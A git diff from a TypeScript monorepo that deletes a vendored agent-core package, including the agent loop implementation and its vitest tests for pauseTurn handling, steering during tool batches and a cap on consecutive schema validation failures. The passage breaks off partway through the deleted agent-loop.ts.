src/resources/extensions/sf/tests --config vitest.config.ts", "test:coverage": "npx vitest run --config vitest.config.ts --coverage", diff --git a/packages/google-gemini-cli-provider/src/index.ts b/packages/google-gemini-cli-provider/src/index.ts index 0672a551b..d71ff3ed7 100644 --- a/packages/google-gemini-cli-provider/src/index.ts +++ b/packages/google-gemini-cli-provider/src/index.ts @@ -5,7 +5,7 @@ * dedicated workspace package so provider code can depend on one small helper * instead of embedding the upstream integration inline. * - * Consumer: `@singularity-forge/pi-ai` Google Gemini provider. + * Consumer: `@singularity-forge/ai` Google Gemini provider. */ import { AuthType, diff --git a/packages/pi-agent-core/package.json b/packages/pi-agent-core/package.json deleted file mode 100644 index c8b0cc4a4..000000000 --- a/packages/pi-agent-core/package.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "name": "@singularity-forge/pi-agent-core", - "version": "2.75.3", - "description": "General-purpose agent core (vendored from pi-mono)", - "type": "module", - "main": "./dist/index.js", - "types": "./dist/index.d.ts", - "exports": { - ".": { - "types": "./dist/index.d.ts", - "import": "./dist/index.js" - } - }, - "scripts": { - "build": "tsc -p tsconfig.json" - }, - "dependencies": {}, - "engines": { - "node": ">=26.1.0" - } -} diff --git a/packages/pi-agent-core/src/agent-loop.test.ts b/packages/pi-agent-core/src/agent-loop.test.ts deleted file mode 100644 index ebac1d12d..000000000 --- a/packages/pi-agent-core/src/agent-loop.test.ts +++ /dev/null @@ -1,1014 +0,0 @@ -// agent-loop tests -// Covers: pauseTurn handling (#2869), schema overload retry cap (#2783) - -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { fileURLToPath } from "node:url"; -import { Type } from "@sinclair/typebox"; -import type { AssistantMessage, Model } from "@singularity-forge/pi-ai"; -import { - AssistantMessageEventStream, - type EventStream, -} from "@singularity-forge/pi-ai"; -import { describe, it } from "vitest"; -import { - agentLoop, - MAX_CONSECUTIVE_VALIDATION_FAILURES, -} from "./agent-loop.js"; -import type { - AgentContext, - AgentEvent, - AgentLoopConfig, - AgentMessage, - AgentTool, -} from "./types.js"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); - -describe("agent-loop — pauseTurn handling (#2869)", () => { - it("sets hasMoreToolCalls when stopReason is pauseTurn", () => { - const source = readFileSync(join(__dirname, "agent-loop.ts"), "utf-8"); - - // The agent loop must treat pauseTurn as a reason to continue the inner - // loop, just like toolUse. This prevents incomplete server_tool_use blocks - // from being saved to history, which would cause a 400 on the next request. - assert.match( - source, - /pauseTurn/, - "agent-loop.ts must handle the pauseTurn stop reason", - ); - - // Verify it sets hasMoreToolCalls = true for pauseTurn - assert.match( - source, - /stopReason\s*===?\s*["']pauseTurn["']/, - 'agent-loop.ts must check for stopReason === "pauseTurn"', - ); - }); - - it("pauseTurn is in the StopReason union type", () => { - // Read the pi-ai types to ensure pauseTurn is a valid StopReason - const typesPath = join(__dirname, "..", "..", "pi-ai", "src", "types.ts"); - const typesSource = readFileSync(typesPath, "utf-8"); - assert.match( - typesSource, - /["']pauseTurn["']/, - 'StopReason type must include "pauseTurn"', - ); - }); - - it("uses provider-supplied external tool results instead of the placeholder", async () => { - const externalMessage = makeAssistantMessage({ - content: [ - { - type: "toolCall", - id: "tc-external-1", - name: "bash", - arguments: { command: "echo hi" }, - externalResult: { - content: [{ type: "text", text: "hi\n" }], - details: { source: "claude-code" }, - isError: false, - }, - } as any, - ], - stopReason: "toolUse", - provider: "claude-code", - }); - - const mockStream = createMockStreamFn([externalMessage]); - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "Run the command" }], - timestamp: Date.now(), - }, - ], - tools: [], - }; - - const config: AgentLoopConfig = { - model: { ...TEST_MODEL, provider: "claude-code" }, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - externalToolExecution: true, - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "Run the command" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - const toolEnd = events.find( - (event): event is Extract => - event.type === "tool_execution_end", - ); - - assert.ok(toolEnd, "expected tool_execution_end event"); - assert.deepEqual(toolEnd.result.content, [{ type: "text", text: "hi\n" }]); - assert.deepEqual(toolEnd.result.details, { source: "claude-code" }); - assert.equal(toolEnd.isError, false); - }); - - it("uses a neutral provider-executed fallback when no external result is attached", async () => { - const externalMessage = makeAssistantMessage({ - content: [ - { - type: "toolCall", - id: "tc-external-fallback", - name: "read", - arguments: { filePath: ".sf/BACKLOG.md" }, - }, - ], - stopReason: "toolUse", - provider: "claude-code", - }); - - const mockStream = createMockStreamFn([externalMessage]); - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "Read backlog" }], - timestamp: Date.now(), - }, - ], - tools: [], - }; - - const config: AgentLoopConfig = { - model: { ...TEST_MODEL, provider: "claude-code" }, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - externalToolExecution: true, - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "Read backlog" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - const toolEnd = events.find( - (event): event is Extract => - event.type === "tool_execution_end", - ); - - assert.ok(toolEnd, "expected tool_execution_end event"); - assert.deepEqual(toolEnd.result.content, [ - { type: "text", text: "(executed by provider)" }, - ]); - assert.equal( - JSON.stringify(toolEnd.result.content).includes("Claude Code"), - false, - ); - }); -}); - -describe("agent-loop — steering during tool batches", () => { - it("does not interrupt the current tool batch for custom system steering", async () => { - const calls: string[] = []; - const tool = { - name: "record", - label: "Record", - description: "Record a value", - parameters: Type.Object({ value: Type.String() }), - execute: async (_id: string, args: { value: string }) => { - calls.push(args.value); - return { - content: [{ type: "text" as const, text: `recorded ${args.value}` }], - details: {}, - }; - }, - } satisfies AgentTool<{ value: string }>; - - const first = makeAssistantMessage({ - content: [ - { - type: "toolCall", - id: "tc-1", - name: "record", - arguments: { value: "one" }, - }, - { - type: "toolCall", - id: "tc-2", - name: "record", - arguments: { value: "two" }, - }, - ], - stopReason: "toolUse", - }); - const second = makeAssistantMessage({ - content: [{ type: "text", text: "saw system steering" }], - stopReason: "stop", - }); - const mockStream = createMockStreamFn([first, second]); - let steeringPolls = 0; - const steering: AgentMessage = { - role: "custom", - customType: "sf-memory-sleeper", - content: "system notice", - display: false, - timestamp: Date.now(), - } as AgentMessage; - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "record values" }], - timestamp: Date.now(), - }, - ], - tools: [tool], - }; - - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - getSteeringMessages: async () => { - steeringPolls += 1; - return steeringPolls === 2 ? [steering] : []; - }, - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "record values" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - const skipped = events.filter( - (event) => - event.type === "tool_execution_end" && - JSON.stringify(event.result.content).includes( - "Skipped due to queued user message", - ), - ); - - assert.deepEqual(calls, ["one", "two"]); - assert.equal(skipped.length, 0); - assert.ok( - events.some( - (event) => event.type === "message_start" && event.message === steering, - ), - "system steering should still be delivered after the tool batch", - ); - }); - - it("defers queued user steering until after the current tool batch by default", async () => { - const calls: string[] = []; - const tool = { - name: "record", - label: "Record", - description: "Record a value", - parameters: Type.Object({ value: Type.String() }), - execute: async (_id: string, args: { value: string }) => { - calls.push(args.value); - return { - content: [{ type: "text" as const, text: `recorded ${args.value}` }], - details: {}, - }; - }, - } satisfies AgentTool<{ value: string }>; - - const first = makeAssistantMessage({ - content: [ - { - type: "toolCall", - id: "tc-1", - name: "record", - arguments: { value: "one" }, - }, - { - type: "toolCall", - id: "tc-2", - name: "record", - arguments: { value: "two" }, - }, - ], - stopReason: "toolUse", - }); - const second = makeAssistantMessage({ - content: [{ type: "text", text: "saw steering" }], - stopReason: "stop", - }); - const mockStream = createMockStreamFn([first, second]); - let steeringPolls = 0; - const steering: AgentMessage = { - role: "user", - content: [{ type: "text", text: "do not interrupt" }], - timestamp: Date.now(), - }; - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "record values" }], - timestamp: Date.now(), - }, - ], - tools: [tool], - }; - - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - getSteeringMessages: async () => { - steeringPolls += 1; - return steeringPolls === 1 ? [steering] : []; - }, - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "record values" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - const skipped = events.filter( - (event) => - event.type === "tool_execution_end" && - JSON.stringify(event.result.content).includes( - "Skipped due to queued user message", - ), - ); - - assert.deepEqual(calls, ["one", "two"]); - assert.equal(skipped.length, 0); - assert.ok( - events.some( - (event) => event.type === "message_start" && event.message === steering, - ), - "queued steering should still be delivered after the tool batch", - ); - }); - - it("skips remaining tool calls only when steering interruption is explicit", async () => { - const calls: string[] = []; - const tool = { - name: "record", - label: "Record", - description: "Record a value", - parameters: Type.Object({ value: Type.String() }), - execute: async (_id: string, args: { value: string }) => { - calls.push(args.value); - return { - content: [{ type: "text" as const, text: `recorded ${args.value}` }], - details: {}, - }; - }, - } satisfies AgentTool<{ value: string }>; - - const first = makeAssistantMessage({ - content: [ - { - type: "toolCall", - id: "tc-1", - name: "record", - arguments: { value: "one" }, - }, - { - type: "toolCall", - id: "tc-2", - name: "record", - arguments: { value: "two" }, - }, - ], - stopReason: "toolUse", - }); - const second = makeAssistantMessage({ - content: [{ type: "text", text: "saw steering" }], - stopReason: "stop", - }); - const mockStream = createMockStreamFn([first, second]); - let steeringPolls = 0; - const steering: AgentMessage = { - role: "user", - content: [{ type: "text", text: "stop and listen" }], - timestamp: Date.now(), - }; - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "record values" }], - timestamp: Date.now(), - }, - ], - tools: [tool], - }; - - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - interruptToolExecutionOnSteering: true, - getSteeringMessages: async () => { - steeringPolls += 1; - return steeringPolls === 2 ? [steering] : []; - }, - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "record values" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - const skipped = events.filter( - (event) => - event.type === "tool_execution_end" && - JSON.stringify(event.result.content).includes( - "Skipped due to queued user message", - ), - ); - - assert.deepEqual(calls, ["one"]); - assert.equal(skipped.length, 1); - assert.ok( - events.some( - (event) => event.type === "message_start" && event.message === steering, - ), - "explicit interrupt steering should still be delivered", - ); - }); -}); - -describe("agent-loop — predictive stream hook", () => { - it("receives text and thinking deltas without changing the final response", async () => { - const finalMessage = makeAssistantMessage({ - content: [{ type: "text", text: "hello" }], - stopReason: "stop", - }); - const mockStream = createDeltaStreamFn( - [ - { type: "thinking_delta", delta: "think" }, - { type: "text_delta", delta: "hello" }, - ], - finalMessage, - ); - const chunks: string[] = []; - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "say hello" }], - timestamp: Date.now(), - }, - ], - tools: [], - }; - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - onStreamChunk: (chunk) => { - chunks.push(chunk); - }, - }; - - const events = await collectEvents( - agentLoop( - context.messages, - context, - config, - undefined, - mockStream as any, - ), - ); - - assert.deepEqual(chunks, ["think", "hello"]); - assert.ok( - events.some( - (event) => - event.type === "agent_end" && - event.messages.at(-1)?.role === "assistant", - ), - ); - }); - - it("ignores predictive hook failures so streaming can finish", async () => { - const finalMessage = makeAssistantMessage({ - content: [{ type: "text", text: "still done" }], - stopReason: "stop", - }); - const mockStream = createDeltaStreamFn( - [{ type: "text_delta", delta: "still done" }], - finalMessage, - ); - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "say done" }], - timestamp: Date.now(), - }, - ], - tools: [], - }; - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - onStreamChunk: () => { - throw new Error("prefetch failed"); - }, - }; - - const events = await collectEvents( - agentLoop( - context.messages, - context, - config, - undefined, - mockStream as any, - ), - ); - - const agentEnd = events.find((event) => event.type === "agent_end"); - assert.ok(agentEnd); - assert.equal(agentEnd.messages.at(-1)?.role, "assistant"); - }); -}); - -/** - * Regression tests for #2783: Stuck-loop on execute-task — tool-call schema - * overload causes unbounded retry + budget burn. - * - * When the LLM repeatedly emits tool calls with arguments that fail schema - * validation, the agent loop retries indefinitely. Each failed validation - * returns an error tool result, the LLM retries with the same broken args, - * and the cycle never breaks — burning budget with no progress. - * - * The fix caps consecutive validation failures per turn at - * MAX_CONSECUTIVE_VALIDATION_FAILURES (default 3). Once the cap is hit, the - * loop injects a synthetic stop so the agent terminates cleanly instead of - * spinning forever. - */ - -// ─── Helpers ────────────────────────────────────────────────────────────────── - -const TEST_MODEL: Model<"anthropic-messages"> = { - id: "claude-test", - name: "Test Model", - api: "anthropic-messages", - provider: "anthropic", - contextWindow: 200_000, - maxOutput: 4096, - supportsImages: false, - supportsPromptCache: false, - thinkingLevel: undefined, -}; - -function makeToolWithSchema(): AgentTool { - return { - name: "write_file", - label: "Write File", - description: "Write content to a file", - parameters: Type.Object({ - path: Type.String(), - content: Type.String(), - }), - execute: async () => ({ - content: [{ type: "text" as const, text: "done" }], - details: {}, - }), - }; -} - -/** - * Creates a mock streamFn that returns assistant messages from a queue. - * Each call pops the next message. The messages simulate the LLM repeatedly - * emitting the same tool call with broken arguments. - */ -function createMockStreamFn(responses: AssistantMessage[]) { - let callIndex = 0; - - return function mockStreamFn(): AssistantMessageEventStream { - const message = responses[callIndex] ?? responses[responses.length - 1]; - callIndex++; - - const stream = new AssistantMessageEventStream(); - // Simulate async delivery - queueMicrotask(() => { - stream.push({ type: "start", partial: message }); - stream.push({ type: "done", message }); - stream.end(message); - }); - return stream; - }; -} - -function createDeltaStreamFn( - deltas: Array<{ type: "text_delta" | "thinking_delta"; delta: string }>, - finalMessage: AssistantMessage, -) { - return function mockStreamFn(): AssistantMessageEventStream { - const stream = new AssistantMessageEventStream(); - queueMicrotask(() => { - stream.push({ type: "start", partial: finalMessage }); - for (const delta of deltas) { - stream.push({ - type: delta.type, - contentIndex: 0, - delta: delta.delta, - partial: finalMessage, - }); - } - stream.push({ type: "done", message: finalMessage }); - stream.end(finalMessage); - }); - return stream; - }; -} - -function makeAssistantMessage( - overrides: Partial = {}, -): AssistantMessage { - return { - role: "assistant", - content: [], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-test", - usage: { - input: 100, - output: 50, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 150, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - ...overrides, - }; -} - -function makeToolCallMessage( - toolCallArgs: Record, -): AssistantMessage { - return makeAssistantMessage({ - content: [ - { - type: "toolCall", - id: `tc_${Date.now()}_${Math.random()}`, - name: "write_file", - arguments: toolCallArgs, - }, - ], - stopReason: "toolUse", - }); -} - -function collectEvents( - stream: EventStream, -): Promise { - return new Promise((resolve) => { - const events: AgentEvent[] = []; - void (async () => { - for await (const event of stream) { - events.push(event); - } - resolve(events); - })(); - }); -} - -// ─── Tests ──────────────────────────────────────────────────────────────────── - -describe("agent-loop — schema overload retry cap (#2783)", () => { - it("terminates after MAX_CONSECUTIVE_VALIDATION_FAILURES consecutive schema failures", async () => { - const tool = makeToolWithSchema(); - - // LLM keeps sending tool calls with invalid args (missing required 'content' field) - const badToolCall = makeToolCallMessage({ path: "/tmp/test" }); // missing 'content' - const finalStop = makeAssistantMessage({ - content: [{ type: "text", text: "I give up." }], - stopReason: "stop", - }); - - // Create enough bad responses to exceed the cap, plus a final stop - const responses: AssistantMessage[] = []; - for (let i = 0; i < MAX_CONSECUTIVE_VALIDATION_FAILURES + 5; i++) { - responses.push(badToolCall); - } - responses.push(finalStop); - - const mockStream = createMockStreamFn(responses); - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "Write a file" }], - timestamp: Date.now(), - }, - ], - tools: [tool], - }; - - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "Write a file" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - - // Must have terminated (agent_end event present) - const agentEnd = events.find((e) => e.type === "agent_end"); - assert.ok( - agentEnd, - "agent loop must emit agent_end after hitting retry cap", - ); - - // Count how many turns had validation errors (tool_execution_end with isError: true) - const toolErrors = events.filter( - (e) => e.type === "tool_execution_end" && e.isError === true, - ); - - // Must not exceed the cap - assert.ok( - toolErrors.length <= MAX_CONSECUTIVE_VALIDATION_FAILURES, - `Expected at most ${MAX_CONSECUTIVE_VALIDATION_FAILURES} validation error tool results, got ${toolErrors.length}`, - ); - }); - - it("resets the failure counter when a tool call succeeds", async () => { - const tool = makeToolWithSchema(); - - // Pattern: 2 failures, 1 success, 2 failures, 1 success, then stop - const badCall = makeToolCallMessage({ path: "/tmp/test" }); // missing 'content' - const goodCall = makeToolCallMessage({ - path: "/tmp/test", - content: "hello", - }); - const finalStop = makeAssistantMessage({ - content: [{ type: "text", text: "Done." }], - stopReason: "stop", - }); - - const responses = [ - badCall, - badCall, - goodCall, - badCall, - badCall, - goodCall, - finalStop, - ]; - const mockStream = createMockStreamFn(responses); - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "Write a file" }], - timestamp: Date.now(), - }, - ], - tools: [tool], - }; - - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "Write a file" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - - // Must complete successfully since failures never reached cap consecutively - const agentEnd = events.find((e) => e.type === "agent_end"); - assert.ok( - agentEnd, - "agent loop must complete normally when failures are interspersed with successes", - ); - - // Should have processed all 6 tool-bearing turns - const toolExecEnds = events.filter((e) => e.type === "tool_execution_end"); - assert.ok( - toolExecEnds.length >= 4, - `Expected at least 4 tool executions (2 bad + 1 good + 2 bad + 1 good), got ${toolExecEnds.length}`, - ); - }); - - it("exports MAX_CONSECUTIVE_VALIDATION_FAILURES as a configurable constant", () => { - assert.equal(typeof MAX_CONSECUTIVE_VALIDATION_FAILURES, "number"); - assert.ok( - MAX_CONSECUTIVE_VALIDATION_FAILURES >= 2, - "Cap must be at least 2 to allow one retry", - ); - assert.ok( - MAX_CONSECUTIVE_VALIDATION_FAILURES <= 10, - "Cap must not be unreasonably high", - ); - }); - - it("does NOT trip schema overload cap on tool execution errors like bash exit code 1 (#3618)", async () => { - // Simulates the real scenario: a tool (bash) that passes validation but - // throws during execution (e.g. rg/grep returning exit code 1 = no matches). - // These are valid tool invocations — the schema was correct, the tool ran, - // it just returned a non-zero exit code. The cap should only trigger for - // preparation/schema failures, not execution failures. - const bashTool: AgentTool = { - name: "bash", - label: "Bash", - description: "Run a bash command", - parameters: Type.Object({ - command: Type.String(), - }), - execute: async () => { - // Simulate bash tool rejecting on non-zero exit code - throw new Error("(no output)\n\nCommand exited with code 1"); - }, - }; - - // LLM sends valid tool calls (schema is correct) that fail at execution - const validBashCall = makeAssistantMessage({ - content: [ - { - type: "toolCall", - id: `tc_bash_${Date.now()}_${Math.random()}`, - name: "bash", - arguments: { command: "rg -l 'nonexistent' src/" }, - }, - ], - stopReason: "toolUse", - }); - const finalStop = makeAssistantMessage({ - content: [{ type: "text", text: "No references found." }], - stopReason: "stop", - }); - - // Send more than MAX_CONSECUTIVE_VALIDATION_FAILURES bash calls that throw - const responses: AssistantMessage[] = []; - for (let i = 0; i < MAX_CONSECUTIVE_VALIDATION_FAILURES + 2; i++) { - responses.push(validBashCall); - } - responses.push(finalStop); - - const mockStream = createMockStreamFn(responses); - - const context: AgentContext = { - systemPrompt: "You are a test agent.", - messages: [ - { - role: "user", - content: [{ type: "text", text: "Search for references" }], - timestamp: Date.now(), - }, - ], - tools: [bashTool], - }; - - const config: AgentLoopConfig = { - model: TEST_MODEL, - convertToLlm: (msgs) => msgs.filter((m): m is any => m.role !== "custom"), - toolExecution: "sequential", - }; - - const stream = agentLoop( - [ - { - role: "user", - content: [{ type: "text", text: "Search for references" }], - timestamp: Date.now(), - }, - ], - context, - config, - undefined, - mockStream as any, - ); - - const events = await collectEvents(stream); - - // Must complete normally — execution errors should NOT trigger the cap - const agentEnd = events.find((e) => e.type === "agent_end"); - assert.ok(agentEnd, "agent loop must emit agent_end"); - - // Count tool execution errors - const toolErrors = events.filter( - (e) => e.type === "tool_execution_end" && e.isError === true, - ); - - // All bash calls should have been attempted (not capped early) - assert.ok( - toolErrors.length >= MAX_CONSECUTIVE_VALIDATION_FAILURES + 2, - `Expected all ${MAX_CONSECUTIVE_VALIDATION_FAILURES + 2} bash execution errors to be processed (not capped), got ${toolErrors.length}`, - ); - - // The stop message should NOT contain the schema overload text - const allMessages = (agentEnd as any).messages as AgentMessage[]; - const lastMessage = allMessages[allMessages.length - 1]; - const lastText = - lastMessage.role === "assistant" - ? (lastMessage as AssistantMessage).content.find( - (c) => c.type === "text", - ) - : undefined; - if (lastText && lastText.type === "text") { - assert.ok( - !lastText.text.includes( - "consecutive turns with all tool calls failing", - ), - "Final message must NOT contain schema overload stop text for execution-only errors", - ); - } - }); -}); diff --git a/packages/pi-agent-core/src/agent-loop.ts b/packages/pi-agent-core/src/agent-loop.ts deleted file mode 100644 index e9e75c581..000000000 --- a/packages/pi-agent-core/src/agent-loop.ts +++ /dev/null @@ -1,975 +0,0 @@ -/** - * Agent loop that works with AgentMessage throughout. - * Transforms to Message[] only at the LLM call boundary. - */ - -import { - type AssistantMessage, - type Context, - EventStream, - streamSimple, - type ToolResultMessage, - validateToolArguments, -} from "@singularity-forge/pi-ai"; -import type { - AgentContext, - AgentEvent, - AgentLoopConfig, - AgentMessage, - AgentTool, - AgentToolCall, - AgentToolResult, - StreamFn, -} from "./types.js"; - -/** - * Maximum number of consecutive turns where ALL tool calls in the turn fail - * schema validation before the loop terminates. This prevents unbounded retry - * loops when the LLM repeatedly emits tool calls with arguments that cannot - * pass validation (e.g., schema overload, truncated JSON, missing required - * fields). See: https://github.com/singularity-forge/sf-run/issues/2783 - */ -export const MAX_CONSECUTIVE_VALIDATION_FAILURES = 3; - -export const ZERO_USAGE = { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, -} as const; - -/** - * Build an AssistantMessage for an unhandled error caught outside runLoop. - * Uses the model from config so the message satisfies the full interface. - */ -function createErrorMessage( - error: unknown, - config: AgentLoopConfig, -): AssistantMessage { - const msg = error instanceof Error ? error.message : String(error); - return { - role: "assistant", - content: [{ type: "text", text: msg }], - api: config.model.api, - provider: config.model.provider, - model: config.model.id, - usage: ZERO_USAGE, - stopReason: "error", - errorMessage: msg, - timestamp: Date.now(), - }; -} - -/** - * Emit a message_start + message_end pair for a single message. - */ -function emitMessagePair( - stream: EventStream, - message: AgentMessage, -): void { - stream.push({ type: "message_start", message }); - stream.push({ type: "message_end", message }); -} - -/** - * Emit the standard error sequence when the outer agent loop catches an error. - * Pushes message_start/end, turn_end, agent_end, then closes the stream. - */ -function emitErrorSequence( - stream: EventStream, - errMsg: AssistantMessage, - newMessages: AgentMessage[], -): void { - emitMessagePair(stream, errMsg); - stream.push({ type: "turn_end", message: errMsg, toolResults: [] }); - stream.push({ type: "agent_end", messages: [...newMessages, errMsg] }); - stream.end([...newMessages, errMsg]); -} - -/** - * Start an agent loop with a new prompt message. - * The prompt is added to the context and events are emitted for it. - */ -export function agentLoop( - prompts: AgentMessage[], - context: AgentContext, - config: AgentLoopConfig, - signal?: AbortSignal, - streamFn?: StreamFn, -): EventStream { - const stream = createAgentStream(); - - (async () => { - const newMessages: AgentMessage[] = [...prompts]; - const currentContext: AgentContext = { - ...context, - messages: [...context.messages, ...prompts], - }; - - stream.push({ type: "agent_start" }); - stream.push({ type: "turn_start" }); - for (const prompt of prompts) { - emitMessagePair(stream, prompt); - } - - try { - await runLoop( - currentContext, - newMessages, - config, - signal, - stream, - streamFn, - ); - } catch (error) { - emitErrorSequence(stream, createErrorMessage(error, config), newMessages); - } - })(); - - return stream; -} - -/** - * Continue an agent loop from the current context without adding a new message. - * Used for retries - context already has user message or tool results. - * - * **Important:** The last message in context must convert to a `user` or `toolResult` message - * via `convertToLlm`. If it doesn't, the LLM provider will reject the request. - * This cannot be validated here since `convertToLlm` is only called once per turn. - */ -export function agentLoopContinue( - context: AgentContext, - config: AgentLoopConfig, - signal?: AbortSignal, - streamFn?: StreamFn, -): EventStream { - if (context.messages.length === 0) { - throw new Error("Cannot continue: no messages in context"); - } - - if (context.messages[context.messages.length - 1].role === "assistant") { - throw new Error("Cannot continue from message role: assistant"); - } - - const stream = createAgentStream(); - - (async () => { - const newMessages: AgentMessage[] = []; - const currentContext: AgentContext = { - ...context, - messages: [...context.messages], - }; - - stream.push({ type: "agent_start" }); - stream.push({ type: "turn_start" }); - - try { - await runLoop( - currentContext, - newMessages, - config, - signal, - stream, - streamFn, - ); - } catch (error) { - emitErrorSequence(stream, createErrorMessage(error, config), newMessages); - } - })(); - - return stream; -} - -function createAgentStream(): EventStream { - return new EventStream( - (event: AgentEvent) => event.type === "agent_end", - (event: AgentEvent) => (event.type === "agent_end" ? event.messages : []), - ); -} - -/** - * Main loop logic shared by agentLoop and agentLoopContinue. - */ -async function runLoop( - currentContext: AgentContext, - newMessages: AgentMessage[], - config: AgentLoopConfig, - signal: AbortSignal | undefined, - stream: EventStream, - streamFn?: StreamFn, -): Promise { - let firstTurn = true; - // Check for steering messages at start (user may have typed while waiting) - let pendingMessages: AgentMessage[] = - (await config.getSteeringMessages?.()) || []; - - // Track consecutive turns where ALL tool calls fail validation. - // When the LLM repeatedly emits tool calls with schema-overloaded or malformed - // arguments, each turn produces only error tool results. Without a cap, this - // creates an unbounded retry loop that burns budget. (#2783) - let consecutiveAllToolErrorTurns = 0; - - // Outer loop: continues when queued follow-up messages arrive after agent would stop - while (true) { - let hasMoreToolCalls = true; - let steeringAfterTools: AgentMessage[] | null = null; - - // Inner loop: process tool calls and steering messages - while (hasMoreToolCalls || pendingMessages.length > 0) { - if (!firstTurn) { - stream.push({ type: "turn_start" }); - } else { - firstTurn = false; - } - - // Process pending messages (inject before next assistant response) - if (pendingMessages.length > 0) { - for (const message of pendingMessages) { - emitMessagePair(stream, message); - currentContext.messages.push(message); - newMessages.push(message); - } - pendingMessages = []; - } - - // Stream assistant response - let message: AssistantMessage; - try { - message = await streamAssistantResponse( - currentContext, - config, - signal, - stream, - streamFn, - ); - } catch (error) { - // Critical failure before stream started (e.g. getApiKey threw, credentials in - // backoff, network unavailable). Convert to a graceful error message so the - // agent loop can end cleanly instead of crashing with an unhandled rejection. - const errorText = - error instanceof Error ? error.message : String(error); - message = { - role: "assistant", - content: [], - api: config.model.api, - provider: config.model.provider, - model: config.model.id, - usage: ZERO_USAGE, - stopReason: signal?.aborted ? "aborted" : "error", - errorMessage: errorText, - timestamp: Date.now(), - }; - stream.push({ type: "message_start", message: { ...message } }); - stream.push({ type: "message_end", message }); - currentContext.messages.push(message); - } - newMessages.push(message); - - if (message.stopReason === "error" || message.stopReason === "aborted") { - stream.push({ type: "turn_end", message, toolResults: [] }); - stream.push({ type: "agent_end", messages: newMessages }); - stream.end(newMessages); - return; - } - - // Check for tool calls or paused server turn - const toolCalls = message.content.filter((c) => c.type === "toolCall"); - hasMoreToolCalls = - toolCalls.length > 0 || message.stopReason === "pauseTurn"; - - const toolResults: ToolResultMessage[] = []; - if (hasMoreToolCalls && config.externalToolExecution) { - // External execution mode: tools were handled by the provider - // (e.g., Claude Code SDK). Emit tool_execution events for each - // tool call. Prefer any provider-supplied externalResult attached - // to the tool call so the UI can show the real stdout/stderr - // instead of a generic placeholder. - for (const tc of toolCalls as AgentToolCall[]) { - const externalResult = ( - tc as AgentToolCall & { - externalResult?: { - content?: Array<{ - type: string; - text?: string; - data?: string; - mimeType?: string; - }>; - details?: Record; - isError?: boolean; - }; - } - ).externalResult; - stream.push({ - type: "tool_execution_start", - toolCallId: tc.id, - toolName: tc.name, - args: tc.arguments, - }); - stream.push({ - type: "tool_execution_end", - toolCallId: tc.id, - toolName: tc.name, - result: externalResult - ? { - content: externalResult.content ?? [ - { type: "text", text: "" }, - ], - details: 